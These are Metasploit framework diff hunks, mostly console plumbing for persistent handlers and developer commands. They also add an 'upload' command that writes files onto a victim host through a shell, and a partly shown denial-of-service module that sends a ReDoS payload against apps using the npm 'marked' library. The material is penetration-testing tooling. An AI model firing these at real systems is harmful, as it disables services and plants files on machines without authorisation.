:verbose => verbosity,
|
||||
:proxy => factory,
|
||||
:non_interactive => true
|
||||
:non_interactive => true,
|
||||
:verify_host_key => :never
|
||||
}
|
||||
case credential.private_type
|
||||
when :password, nil
|
||||
|
|
|
@ -202,6 +202,13 @@ class Config < Hash
|
|||
self.new.history_file
|
||||
end
|
||||
|
||||
# Returns the full path to the handler file.
|
||||
#
|
||||
# @return [String] path the handler file.
|
||||
def self.persist_file
|
||||
self.new.persist_file
|
||||
end
|
||||
|
||||
# Initializes configuration, creating directories as necessary.
|
||||
#
|
||||
# @return [void]
|
||||
|
@ -278,6 +285,13 @@ class Config < Hash
|
|||
config_directory + FileSep + "history"
|
||||
end
|
||||
|
||||
# Returns the full path to the handler file.
|
||||
#
|
||||
# @return [String] path the handler file.
|
||||
def persist_file
|
||||
config_directory + FileSep + "persist"
|
||||
end
|
||||
|
||||
# Returns the global module directory.
|
||||
#
|
||||
# @return [String] path to global module directory.
|
||||
|
|
|
@ -781,10 +781,10 @@ class ReadableText
|
|||
# @param col [Integer] the column wrap width.
|
||||
# @return [String] the formatted list of running jobs.
|
||||
def self.dump_jobs(framework, verbose = false, indent = DefaultIndent, col = DefaultColumnWrap)
|
||||
columns = [ 'Id', 'Name', "Payload", "Payload opts" ]
|
||||
columns = [ 'Id', 'Name', "Payload", "Payload opts"]
|
||||
|
||||
if (verbose)
|
||||
columns += [ "URIPATH", "Start Time", "Handler opts" ]
|
||||
columns += [ "URIPATH", "Start Time", "Handler opts", "Persist" ]
|
||||
end
|
||||
|
||||
tbl = Rex::Text::Table.new(
|
||||
|
@ -793,6 +793,15 @@ class ReadableText
|
|||
'Columns' => columns
|
||||
)
|
||||
|
||||
# Get the persistent job info.
|
||||
if verbose
|
||||
begin
|
||||
persist_list = JSON.parse(File.read(Msf::Config.persist_file))
|
||||
rescue Errno::ENOENT, JSON::ParserError
|
||||
persist_list = []
|
||||
end
|
||||
end
|
||||
|
||||
# jobs are stored as a hash with the keys being a numeric String job_id.
|
||||
framework.jobs.keys.sort_by(&:to_i).each do |job_id|
|
||||
# Job context is stored as an Array with the 0th element being
|
||||
|
@ -827,11 +836,17 @@ class ReadableText
|
|||
row[4] = uripath
|
||||
row[5] = framework.jobs[job_id].start_time
|
||||
row[6] = ''
|
||||
row[7] = 'false'
|
||||
|
||||
if pinst.respond_to?(:listener_uri)
|
||||
listener_uri = pinst.listener_uri.strip
|
||||
row[6] = listener_uri unless listener_uri == payload_uri
|
||||
end
|
||||
|
||||
persist_list.each do |e|
|
||||
row[7] = 'true' if e['mod_options']['Options'] == framework.jobs[job_id.to_s].ctx[1].datastore
|
||||
end
|
||||
|
||||
end
|
||||
tbl << row
|
||||
end
|
||||
|
|
|
@ -87,8 +87,9 @@ class CommandShell
|
|||
'background' => 'Backgrounds the current shell session',
|
||||
'sessions' => 'Quickly switch to another session',
|
||||
'resource' => 'Run the commands stored in a file',
|
||||
'shell' => 'Spawn an interactive shell',
|
||||
'download' => 'Download files'
|
||||
'shell' => 'Spawn an interactive shell (*NIX Only)',
|
||||
'download' => 'Download files (*NIX Only)',
|
||||
'upload' => 'Upload files (*NIX Only)',
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -337,7 +338,89 @@ class CommandShell
|
|||
file = File.open(dst, "wb")
|
||||
file.write(content)
|
||||
file.close
|
||||
print_status("Done")
|
||||
print_good("Done")
|
||||
end
|
||||
|
||||
def cmd_upload_help
|
||||
print_line("Usage: upload [src] [dst]")
|
||||
print_line
|
||||
print_line("Uploads load file to the victim machine.")
|
||||
print_line("This command does not support to upload a FOLDER yet")
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_upload(*args)
|
||||
if args.length != 2
|
||||
# no argumnets, just print help message
|
||||
return cmd_upload_help
|
||||
end
|
||||
|
||||
src = args[0]
|
||||
dst = args[1]
|
||||
|
||||
# Check target file exists on the target machine
|
||||
if file_exists(dst)
|
||||
print_warning("The file <#{dst}> already exists on the target machine")
|
||||
if prompt_yesno("Overwrite the target file <#{dst}>?")
|
||||
# Create an empty file on the target machine
|
||||
# Notice here does not check the permission of the target file (folder)
|
||||
# So if you generate a reverse shell with out redirection the STDERR
|
||||
# you will not realise that the current user does not have permission to write to the target file
|
||||
# IMPORTANT:
|
||||
# assume(the current have the write access on the target file)
|
||||
# if (the current user can not write on the target file) && (stderr did not redirected)
|
||||
# No error reporting, you must check the file created or not manually
|
||||
result = shell_command_token("cat /dev/null > #{dst}")
|
||||
if !result.empty?
|
||||
print_error("Create new file on the target machine failed. (#{result})")
|
||||
return
|
||||
end
|
||||
print_good("Create new file on the target machine succeed")
|
||||
else
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
buffer_size = 0x100
|
||||
|
||||
begin
|
||||
# Open local file
|
||||
src_fd = open src
|
||||
# Get local file size
|
||||
src_size = File.size(src)
|
||||
# Calc how many time to append to the remote file
|
||||
times = src_size / buffer_size + (src_size % buffer_size == 0 ? 0 : 1)
|
||||
print_status("File <#{src}> size: #{src_size}, need #{times} times writes to upload")
|
||||
# Start transfer
|
||||
|
||||
for i in 1..times do
|
||||
print_status("Uploading (#{i * buffer_size}/#{src_size})")
|
||||
chunk = src_fd.read(buffer_size)
|
||||
chunk_repr = repr(chunk)
|
||||
result = shell_command_token("echo -ne '#{chunk_repr}' >> #{dst}")
|
||||
if !result.empty?
|
||||
print_error("Appending content to the target file <#{dst}> failed. (#{result})")
|
||||
# Do some cleanup
|
||||
# Delete the target file
|
||||
shell_command_token("rm -rf #{dst}")
|
||||
print_status("Target file <#{dst}> deleted")
|
||||
return
|
||||
end
|
||||
end
|
||||
print_good("File <#{dst}> upload finished")
|
||||
rescue
|
||||
print_error("Error occurs while uploading <#{src}> to <#{dst}> ")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def repr(data)
|
||||
data_repr = ''
|
||||
data.each_char {|c|
|
||||
data_repr << "\\x"
|
||||
data_repr << c.unpack("H*")[0]
|
||||
}
|
||||
return data_repr
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
require 'swagger/blocks'
|
||||
load 'documentation/api/v1/root_api_doc.rb'
|
||||
load 'documentation/api/v1/auth_api_doc.rb'
|
||||
load 'documentation/api/v1/credential_api_doc.rb'
|
||||
load 'documentation/api/v1/db_export_api_doc.rb'
|
||||
load 'documentation/api/v1/event_api_doc.rb'
|
||||
|
@ -14,6 +15,7 @@ load 'documentation/api/v1/note_api_doc.rb'
|
|||
load 'documentation/api/v1/service_api_doc.rb'
|
||||
load 'documentation/api/v1/session_api_doc.rb'
|
||||
load 'documentation/api/v1/session_event_api_doc.rb'
|
||||
load 'documentation/api/v1/user_api_doc.rb'
|
||||
load 'documentation/api/v1/vuln_api_doc.rb'
|
||||
load 'documentation/api/v1/vuln_attempt_api_doc.rb'
|
||||
load 'documentation/api/v1/workspace_api_doc.rb'
|
||||
|
@ -43,6 +45,7 @@ module ApiDocsServlet
|
|||
lambda {
|
||||
swaggered_classes = [
|
||||
RootApiDoc,
|
||||
AuthApiDoc,
|
||||
CredentialApiDoc,
|
||||
DbExportApiDoc,
|
||||
EventApiDoc,
|
||||
|
@ -57,6 +60,7 @@ module ApiDocsServlet
|
|||
ServiceApiDoc,
|
||||
SessionApiDoc,
|
||||
SessionEventApiDoc,
|
||||
UserApiDoc,
|
||||
VulnApiDoc,
|
||||
VulnAttemptApiDoc,
|
||||
WorkspaceApiDoc
|
||||
|
|
|
@ -79,9 +79,13 @@
|
|||
SwaggerUIBundle.presets.apis,
|
||||
SwaggerUIStandalonePreset
|
||||
],
|
||||
layout: "StandaloneLayout"
|
||||
})
|
||||
|
||||
layout: "StandaloneLayout",
|
||||
requestInterceptor: function (request) {
|
||||
let token = request.headers.Authorization;
|
||||
request.headers.Authorization = "Bearer " + token;
|
||||
return request;
|
||||
}
|
||||
});
|
||||
window.ui = ui
|
||||
}
|
||||
</script>
|
||||
|
|
|
@ -321,6 +321,9 @@ class Exploit < Msf::Module
|
|||
self.active_timeout = info['Payload']['ActiveTimeout'].to_i
|
||||
end
|
||||
|
||||
# Initialize exploit datastore with target information
|
||||
import_target_datastore
|
||||
|
||||
# All exploits can increase the delay when waiting for a session.
|
||||
# However, this only applies to aggressive exploits.
|
||||
if aggressive?
|
||||
|
@ -693,6 +696,14 @@ class Exploit < Msf::Module
|
|||
return (target_idx) ? target_idx.to_i : nil
|
||||
end
|
||||
|
||||
#
|
||||
# Import the target's DefaultOptions hash into the datastore.
|
||||
#
|
||||
def import_target_datastore
|
||||
return unless target && target.default_options
|
||||
datastore.import_options_from_hash(target.default_options)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the target's platform, or the one assigned to the module itself.
|
||||
#
|
||||
|
|
|
@ -129,22 +129,29 @@ class Msf::Module::Target
|
|||
# Payload-specific options, such as append, prepend, and other values that
|
||||
# can be set on a per-exploit or per-target basis.
|
||||
#
|
||||
# DefaultOptions
|
||||
#
|
||||
# DefaultOptions hash to be imported into the datastore.
|
||||
#
|
||||
def initialize(name, opts)
|
||||
opts = {} if (!opts)
|
||||
opts = {} unless opts
|
||||
|
||||
self.name = name
|
||||
self.platform = opts['Platform'] ? Msf::Module::PlatformList.transform(opts['Platform']) : nil
|
||||
self.save_registers = opts['SaveRegisters']
|
||||
self.ret = opts['Ret']
|
||||
self.opts = opts
|
||||
self.name = name
|
||||
self.opts = opts
|
||||
self.save_registers = opts['SaveRegisters']
|
||||
self.ret = opts['Ret'],
|
||||
self.default_options = opts['DefaultOptions']
|
||||
|
||||
if (opts['Arch'])
|
||||
self.arch = Rex::Transformer.transform(opts['Arch'], Array,
|
||||
[ String ], 'Arch')
|
||||
if opts['Platform']
|
||||
self.platform = Msf::Module::PlatformList.transform(opts['Platform'])
|
||||
end
|
||||
|
||||
if opts['Arch']
|
||||
self.arch = Rex::Transformer.transform(opts['Arch'], Array, [String], 'Arch')
|
||||
end
|
||||
|
||||
# Does this target have brute force information?
|
||||
if (opts['Bruteforce'])
|
||||
if opts['Bruteforce']
|
||||
self.bruteforce = Bruteforce.new(opts['Bruteforce'])
|
||||
end
|
||||
end
|
||||
|
@ -305,10 +312,15 @@ class Msf::Module::Target
|
|||
# option is passed to the constructor of the class.
|
||||
#
|
||||
attr_reader :bruteforce
|
||||
#
|
||||
# DefaultOptions hash to be imported into the datastore.
|
||||
#
|
||||
attr_reader :default_options
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :name, :platform, :arch, :opts, :ret, :save_registers # :nodoc:
|
||||
attr_writer :bruteforce # :nodoc:
|
||||
attr_writer :default_options # :nodoc:
|
||||
|
||||
end
|
||||
|
|
|
@ -125,7 +125,7 @@ class Msf::Payload::Apk
|
|||
|
||||
def parse_orig_cert_data(orig_apkfile)
|
||||
orig_cert_data = Array[]
|
||||
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile '#{orig_apkfile}'")
|
||||
keytool_output = run_cmd(%Q{keytool -J-Duser.language=en -printcert -jarfile "#{orig_apkfile}"})
|
||||
owner_line = keytool_output.match(/^Owner:.+/)[0]
|
||||
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
|
||||
orig_cert_data.push("#{orig_cert_dname}")
|
||||
|
|
|
@ -90,10 +90,6 @@ class Core
|
|||
"-n" => [ true, "Show the last n commands." ],
|
||||
"-c" => [ false, "Clear command history and history file." ])
|
||||
|
||||
@@irb_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-e" => [ true, "Expression to evaluate." ])
|
||||
|
||||
# Returns the list of commands supported by this command dispatcher
|
||||
def commands
|
||||
{
|
||||
|
@ -108,7 +104,6 @@ class Core
|
|||
"grep" => "Grep the output of another command",
|
||||
"help" => "Help menu",
|
||||
"history" => "Show command history",
|
||||
"irb" => "Drop into irb scripting mode",
|
||||
"load" => "Load a framework plugin",
|
||||
"quit" => "Exit the console",
|
||||
"route" => "Route traffic through a session",
|
||||
|
@ -500,7 +495,7 @@ class Core
|
|||
|
||||
# Portable file truncation?
|
||||
if File.writable?(Msf::Config.history_file)
|
||||
File.open(Msf::Config.history_file, 'w') {}
|
||||
File.write(Msf::Config.history_file, '')
|
||||
end
|
||||
|
||||
print_good('Command history and history file cleared')
|
||||
|
@ -546,48 +541,6 @@ class Core
|
|||
Rex::ThreadSafe.sleep(args[0].to_f)
|
||||
end
|
||||
|
||||
def cmd_irb_help
|
||||
print_line "Usage: irb"
|
||||
print_line
|
||||
print_line "Execute commands in a Ruby environment"
|
||||
print @@irb_opts.usage
|
||||
end
|
||||
|
||||
#
|
||||
# Goes into IRB scripting mode
|
||||
#
|
||||
def cmd_irb(*args)
|
||||
expressions = []
|
||||
|
||||
# Parse the command options
|
||||
@@irb_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when '-e'
|
||||
expressions << val
|
||||
when '-h'
|
||||
cmd_irb_help
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
if expressions.empty?
|
||||
print_status("Starting IRB shell...\n")
|
||||
|
||||
begin
|
||||
Rex::Ui::Text::IrbShell.new(binding).run
|
||||
rescue
|
||||
print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
||||
|
||||
# Reset tab completion
|
||||
if (driver.input.supports_readline)
|
||||
driver.input.reset_tab_completion
|
||||
end
|
||||
else
|
||||
expressions.each { |expression| eval(expression, binding) }
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_threads_help
|
||||
print_line "Usage: threads [options]"
|
||||
print_line
|
||||
|
@ -1600,7 +1553,7 @@ class Core
|
|||
# If the driver indicates that the value is not valid, bust out.
|
||||
if (driver.on_variable_set(global, name, value) == false)
|
||||
print_error("The value specified for #{name} is not valid.")
|
||||
return true
|
||||
return false
|
||||
end
|
||||
|
||||
begin
|
||||
|
@ -1614,6 +1567,11 @@ class Core
|
|||
elog(e.message)
|
||||
end
|
||||
|
||||
# Set PAYLOAD from TARGET
|
||||
if name.upcase == 'TARGET' && active_module && active_module.exploit?
|
||||
active_module.import_target_datastore
|
||||
end
|
||||
|
||||
print_line("#{name} => #{datastore[name]}")
|
||||
end
|
||||
|
||||
|
|
|
@ -4,6 +4,10 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
|
||||
include Msf::Ui::Console::CommandDispatcher
|
||||
|
||||
@@irb_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-e" => [ true, "Expression to evaluate." ])
|
||||
|
||||
def initialize(driver)
|
||||
super
|
||||
end
|
||||
|
@ -14,6 +18,8 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
|
||||
def commands
|
||||
{
|
||||
'irb' => 'Drop into irb scripting mode',
|
||||
'pry' => 'Open a Pry session on the current module or Framework',
|
||||
'edit' => 'Edit the current module or a file with the preferred editor',
|
||||
'reload_lib' => 'Reload one or more library files from specified paths',
|
||||
'log' => 'Displays framework.log starting at the bottom if possible'
|
||||
|
@ -37,7 +43,7 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
|
||||
# The file must exist to reach this, so we try our best here
|
||||
if path =~ %r{^(?:\./)?modules/}
|
||||
print_error('Reloading Metasploit modules is not supported (try "reload")')
|
||||
print_error("Reloading Metasploit modules is not supported (try 'reload')")
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -45,6 +51,69 @@ class Msf::Ui::Console::CommandDispatcher::Developer
|
|||
load path
|
||||
end
|
||||
|
||||
def cmd_irb_help
|
||||
print_line "Usage: irb"
|
||||
print_line
|
||||
print_line "Execute commands in a Ruby environment"
|
||||
print @@irb_opts.usage
|
||||
end
|
||||
|
||||
#
|
||||
# Goes into IRB scripting mode
|
||||
#
|
||||
def cmd_irb(*args)
|
||||
expressions = []
|
||||
|
||||
# Parse the command options
|
||||
@@irb_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when '-e'
|
||||
expressions << val
|
||||
when '-h'
|
||||
cmd_irb_help
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
if expressions.empty?
|
||||
print_status("Starting IRB shell...\n")
|
||||
|
||||
begin
|
||||
Rex::Ui::Text::IrbShell.new(binding).run
|
||||
rescue
|
||||
print_error("Error during IRB: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
||||
|
||||
# Reset tab completion
|
||||
if (driver.input.supports_readline)
|
||||
driver.input.reset_tab_completion
|
||||
end
|
||||
else
|
||||
expressions.each { |expression| eval(expression, binding) }
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_pry_help
|
||||
print_line 'Usage: pry'
|
||||
print_line
|
||||
print_line 'Open a Pry session on the current module or Framework.'
|
||||
print_line
|
||||
end
|
||||
|
||||
#
|
||||
# Open a Pry session on the current module or Framework
|
||||
#
|
||||
def cmd_pry(*args)
|
||||
begin
|
||||
require 'pry'
|
||||
rescue LoadError
|
||||
print_error("Failed to load Pry, try 'gem install pry'")
|
||||
return
|
||||
end
|
||||
|
||||
active_module ? active_module.pry : framework.pry
|
||||
end
|
||||
|
||||
def cmd_edit_help
|
||||
print_line 'Usage: edit [file/to/edit]'
|
||||
print_line
|
||||
|
|
|
@ -35,7 +35,9 @@ module Msf
|
|||
"-i" => [ true, "Lists detailed information about a running job."],
|
||||
"-l" => [ false, "List all running jobs." ],
|
||||
"-v" => [ false, "Print more detailed info. Use with -i and -l" ],
|
||||
"-S" => [ true, "Row search filter." ],
|
||||
"-p" => [ true, "Add persistence to job by job ID" ],
|
||||
"-P" => [ false, "Persist all running jobs on restart." ],
|
||||
"-S" => [ true, "Row search filter." ]
|
||||
)
|
||||
|
||||
def commands
|
||||
|
@ -117,7 +119,9 @@ module Msf
|
|||
verbose = false
|
||||
dump_list = false
|
||||
dump_info = false
|
||||
kill_job = false
|
||||
job_id = nil
|
||||
job_list = nil
|
||||
|
||||
# Parse the command options
|
||||
@@jobs_opts.parse(args) do |opt, _idx, val|
|
||||
|
@ -129,29 +133,31 @@ module Msf
|
|||
# Terminate the supplied job ID(s)
|
||||
when "-k"
|
||||
job_list = build_range_array(val)
|
||||
if job_list.blank?
|
||||
print_error("Please specify valid job identifier(s)")
|
||||
return false
|
||||
end
|
||||
print_status("Stopping the following job(s): #{job_list.join(', ')}")
|
||||
job_list.map(&:to_s).each do |job|
|
||||
if framework.jobs.key?(job)
|
||||
print_status("Stopping job #{job}")
|
||||
framework.jobs.stop_job(job)
|
||||
else
|
||||
print_error("Invalid job identifier: #{job}")
|
||||
end
|
||||
end
|
||||
kill_job = true
|
||||
when "-K"
|
||||
print_line("Stopping all jobs...")
|
||||
framework.jobs.each_key do |i|
|
||||
framework.jobs.stop_job(i)
|
||||
end
|
||||
File.write(Msf::Config.persist_file, '') if File.writable?(Msf::Config.persist_file)
|
||||
when "-i"
|
||||
# Defer printing anything until the end of option parsing
|
||||
# so we can check for the verbose flag.
|
||||
dump_info = true
|
||||
job_id = val
|
||||
when "-p"
|
||||
job_list = build_range_array(val)
|
||||
job_list.each do |job_id|
|
||||
add_persist_job(job_id)
|
||||
end
|
||||
when "-P"
|
||||
print_line("Making all jobs persistent ...")
|
||||
job_list = framework.jobs.map do |k,v|
|
||||
v.jid.to_s
|
||||
end
|
||||
job_list.each do |job_id|
|
||||
add_persist_job(job_id)
|
||||
end
|
||||
when "-S", "--search"
|
||||
search_term = val
|
||||
dump_list = true
|
||||
|
@ -159,6 +165,7 @@ module Msf
|
|||
cmd_jobs_help
|
||||
return false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
if dump_list
|
||||
|
@ -186,6 +193,77 @@ module Msf
|
|||
print_line("Invalid Job ID")
|
||||
end
|
||||
end
|
||||
|
||||
if kill_job
|
||||
if job_list.blank?
|
||||
print_error("Please specify valid job identifier(s)")
|
||||
return false
|
||||
end
|
||||
|
||||
print_status("Stopping the following job(s): #{job_list.join(', ')}")
|
||||
|
||||
# Remove the persistent job when match the option of payload.
|
||||
begin
|
||||
persist_list = JSON.parse(File.read(Msf::Config.persist_file))
|
||||
rescue Errno::ENOENT, JSON::ParserError
|
||||
persist_list = []
|
||||
end
|
||||
|
||||
job_list.map(&:to_s).each do |job|
|
||||
payload_option = framework.jobs[job.to_s].ctx[1].datastore
|
||||
persist_list.delete_if{|pjob|pjob['mod_options']['Options'] == payload_option}
|
||||
end
|
||||
# Write persist job back to config file.
|
||||
File.open(Msf::Config.persist_file,"w") do |file|
|
||||
file.puts(JSON.pretty_generate(persist_list))
|
||||
end
|
||||
|
||||
# Stop the job by job id.
|
||||
job_list.map(&:to_s).each do |job|
|
||||
if framework.jobs.key?(job)
|
||||
print_status("Stopping job #{job}")
|
||||
framework.jobs.stop_job(job)
|
||||
else
|
||||
print_error("Invalid job identifier: #{job}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Add a persistent job by job id.
|
||||
# Persistent job would restore on console restarted.
|
||||
|
||||
def add_persist_job(job_id)
|
||||
if job_id && framework.jobs.has_key?(job_id.to_s)
|
||||
mod = framework.jobs[job_id.to_s].ctx[0].replicant
|
||||
payload = framework.jobs[job_id.to_s].ctx[1].replicant
|
||||
|
||||
payload_opts = {
|
||||
'Payload' => payload.refname,
|
||||
'Options' => payload.datastore,
|
||||
'RunAsJob' => true
|
||||
}
|
||||
|
||||
mod_opts = {
|
||||
'mod_name' => mod.fullname,
|
||||
'mod_options' => payload_opts
|
||||
}
|
||||
|
||||
begin
|
||||
persist_list = JSON.parse(File.read(Msf::Config.persist_file))
|
||||
rescue Errno::ENOENT, JSON::ParserError
|
||||
persist_list = []
|
||||
end
|
||||
persist_list << mod_opts
|
||||
File.open(Msf::Config.persist_file,"w") do |file|
|
||||
file.puts(JSON.pretty_generate(persist_list))
|
||||
end
|
||||
print_line("Added persistence to job #{job_id}.")
|
||||
else
|
||||
print_line("Invalid Job ID")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -354,6 +432,7 @@ module Msf
|
|||
}
|
||||
tab_complete_generic(fmt, str, words)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -345,7 +345,7 @@ module Msf
|
|||
'ref' => 'Modules with a matching ref',
|
||||
'reference' => 'Modules with a matching reference',
|
||||
'target' => 'Modules affecting this target',
|
||||
'type' => 'Modules of a specific type (exploit, auxiliary, or post)',
|
||||
'type' => 'Modules of a specific type (exploit, payload, auxiliary, encoder, post, or nop)',
|
||||
}.each_pair do |keyword, description|
|
||||
print_line " #{keyword.ljust 12}: #{description}"
|
||||
end
|
||||
|
@ -468,7 +468,7 @@ module Msf
|
|||
end
|
||||
|
||||
def cmd_show_help
|
||||
global_opts = %w{all encoders nops exploits payloads auxiliary plugins info options}
|
||||
global_opts = %w{all encoders nops exploits payloads auxiliary post plugins info options}
|
||||
print_status("Valid parameters for the \"show\" command are: #{global_opts.join(", ")}")
|
||||
|
||||
module_opts = %w{ missing advanced evasion targets actions }
|
||||
|
@ -480,10 +480,14 @@ module Msf
|
|||
# no type is provided.
|
||||
#
|
||||
def cmd_show(*args)
|
||||
if args.empty?
|
||||
print_error("Argument required\n")
|
||||
cmd_show_help
|
||||
return
|
||||
end
|
||||
|
||||
mod = self.active_module
|
||||
|
||||
args << "all" if (args.length == 0)
|
||||
|
||||
args.each { |type|
|
||||
case type
|
||||
when '-h'
|
||||
|
|
|
@ -181,6 +181,22 @@ class Driver < Msf::Ui::Driver
|
|||
}
|
||||
end
|
||||
|
||||
# Process persistent job handler
|
||||
begin
|
||||
restore_handlers = JSON.parse(File.read(Msf::Config.persist_file))
|
||||
rescue Errno::ENOENT, JSON::ParserError
|
||||
restore_handlers = nil
|
||||
end
|
||||
|
||||
if restore_handlers
|
||||
print_status("Starting persistent handler(s)...")
|
||||
|
||||
restore_handlers.each do |handler_opts|
|
||||
handler = framework.modules.create(handler_opts['mod_name'])
|
||||
handler.exploit_simple(handler_opts['mod_options'])
|
||||
end
|
||||
end
|
||||
|
||||
# Process any additional startup commands
|
||||
if opts['XCommands'] and opts['XCommands'].kind_of? Array
|
||||
opts['XCommands'].each { |c|
|
||||
|
@ -441,6 +457,13 @@ protected
|
|||
print_error("Permission denied exec: #{line}")
|
||||
end
|
||||
self.busy = false
|
||||
return
|
||||
elsif framework.modules.create(method)
|
||||
super
|
||||
if prompt_yesno "This is a module we can load. Do you want to use #{method}?"
|
||||
run_single "use #{method}"
|
||||
end
|
||||
|
||||
return
|
||||
end
|
||||
end
|
||||
|
@ -537,4 +560,4 @@ end
|
|||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -16,7 +16,6 @@ module ModuleCommandDispatcher
|
|||
|
||||
def commands
|
||||
{
|
||||
"pry" => "Open a Pry session on the current module",
|
||||
"reload" => "Reload the current module from disk",
|
||||
"check" => "Check to see if a target is vulnerable"
|
||||
}
|
||||
|
@ -268,24 +267,6 @@ module ModuleCommandDispatcher
|
|||
end
|
||||
end
|
||||
|
||||
def cmd_pry_help
|
||||
print_line "Usage: pry"
|
||||
print_line
|
||||
print_line "Open a pry session on the current module. Be careful, you"
|
||||
print_line "can break things."
|
||||
print_line
|
||||
end
|
||||
|
||||
def cmd_pry(*args)
|
||||
begin
|
||||
require 'pry'
|
||||
rescue LoadError
|
||||
print_error("Failed to load pry, try 'gem install pry'")
|
||||
return
|
||||
end
|
||||
mod.pry
|
||||
end
|
||||
|
||||
#
|
||||
# Reloads the active module
|
||||
#
|
||||
|
|
|
@ -429,6 +429,18 @@ protected
|
|||
rlog(buf, log_source) if (log_source)
|
||||
end
|
||||
|
||||
#
|
||||
# Prompt the user for input if possible. Special edition for use inside commands.
|
||||
#
|
||||
def prompt_yesno(query)
|
||||
p = "#{query} [y/N]"
|
||||
old_p = [self.prompt.sub(/#{Regexp.escape(self.prompt_char)} $/, ''), self.prompt_char]
|
||||
update_prompt p, ' ', true
|
||||
/^y/i === get_input_line
|
||||
ensure
|
||||
update_prompt *old_p, true
|
||||
end
|
||||
|
||||
attr_writer :input, :output # :nodoc:
|
||||
attr_accessor :stop_flag, :init_prompt, :cont_prompt # :nodoc:
|
||||
attr_accessor :prompt # :nodoc:
|
||||
|
|
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.40'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.43'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.4.1'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
|
@ -0,0 +1,117 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'marked npm module "heading" ReDoS',
|
||||
'Description' => %q{
|
||||
This module exploits a Regular Expression Denial of Service vulnerability
|
||||
in the npm module "marked". The vulnerable portion of code that this module
|
||||
targets is in the "heading" regular expression. Web applications that use
|
||||
"marked" for generating html from markdown are vulnerable. Versions up to
|
||||
0.4.0 are vulnerable.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not'],
|
||||
['CWE', '400']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Adam Cazzolla, Sonatype Security Research',
|
||||
'Nick Starke, Sonatype Security Research'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(80),
|
||||
OptString.new('HTTP_METHOD', [true, 'The default HTTP Verb to use', 'GET']),
|
||||
OptString.new('HTTP_PARAMETER', [true, 'The vulnerable HTTP parameters', '']),
|
||||
OptString.new('TARGETURI', [true, 'The URL Path to use', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
if test_service
|
||||
trigger_redos
|
||||
test_service_unresponsive
|
||||
else
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
|
||||
end
|
||||
end
|
||||
|
||||
def trigger_redos
|
||||
begin
|
||||
print_status("Sending ReDoS request to #{peer}.")
|
||||
|
||||
params = {
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => datastore['HTTP_METHOD'],
|
||||
("vars_#{datastore['HTTP_METHOD'].downcase}") => {
|
||||
datastore['HTTP_PARAMETER'] => "# #" + (" " * 20 * 1024) + Rex::Text.rand_text_alpha(1)
|
||||
}
|
||||
}
|
||||
|
||||
res = send_request_cgi(params)
|
||||
|
||||
if res
|
||||
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
|
||||
end
|
||||
|
||||
print_status("No response received from #{peer}, service is most likely unresponsive.")
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("Unable to connect to #{peer}.")
|
||||
rescue ::Timeout::Error
|
||||
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
|
||||
end
|
||||
end
|
||||
|
||||
def test_service_unresponsive
|
||||
begin
|
||||
print_status('Testing for service unresponsiveness.')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/' + Rex::Text.rand_text_alpha(8),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_good('Service not responding.')
|
||||
else
|
||||
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
|
||||
end
|
